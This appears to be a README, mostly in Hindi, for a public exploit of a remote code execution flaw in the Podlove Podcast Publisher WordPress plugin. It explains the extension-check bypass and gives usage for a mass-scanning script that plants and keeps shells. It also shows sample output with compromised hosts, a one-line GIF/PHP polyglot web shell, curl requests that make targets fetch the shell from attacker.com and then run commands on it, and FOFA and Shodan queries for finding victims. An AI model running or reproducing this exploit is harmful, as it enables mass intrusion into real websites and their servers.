CVE-2026-13001

// is_image() — basename() का उपयोग करता है जिसमें क्वेरी स्ट्रिंग शामिल है
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ बाईपास हो गया

// extract_file_extension() — केवल parse_url() पथ का उपयोग करता है
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 .php के रूप में सहेजा गया

1. हमलावर attacker.com/shell.php?.gif पर GIF89a PHP पॉलीग्लॉट होस्ट करता है
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() .gif एक्सटेंशन सत्यापित करता है → पास
4. प्लगइन फ़ाइल डाउनलोड करता है → cache/ में test_original.php के रूप में सहेजता है
5. हमलावर /wp-content/cache/podlove/{hash}/test_original.php एक्सेस करता है
6. PHP निष्पादित होता है → RCE

git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

# एकल लक्ष्य
python cve_2026_13001.py -t target.com

# सामूहिक स्कैन
python cve_2026_13001.py -f targets.txt -o shells.txt

# कस्टम पेलोड URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif

# डीबग मोड, शेल छोड़ें
python cve_2026_13001.py -t target.com --debug --no-cleanup

  -t, --target       एकल लक्ष्य (डोमेन या IP)
  -f, --file         लक्ष्य सूची, प्रति पंक्ति एक
  -o, --output       RCE URL को फ़ाइल में सहेजें
  --payload-url      PHP पॉलीग्लॉट होस्ट करने वाला URL (डिफ़ॉल्ट: GitHub raw)
  --threads          समवर्ती कार्यकर्ता (डिफ़ॉल्ट: 30)
  --no-cleanup       लक्ष्य पर शेल छोड़ें
  --debug            हर HTTP अनुरोध दिखाएं
  -v, --verbose      विस्तृत आउटपुट

$ python cve_2026_13001.py -t podcast-site.com

  Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8

  Host       : podcast-site.com
  Podlove    : YES v4.5.1
  Upload     : YES
  RCE        : YES
  Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 4.2s

  Targets: 500  |  Threads: 30
  Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif

  [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
  [150/500] 30% | Det:42 RCE:8

// shell.php — अपने सर्वर पर सहेजें और होस्ट करें
GIF89a<?php system($_GET['c']); ?>

# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'

curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'

# पथ: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'

FOFA:   body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"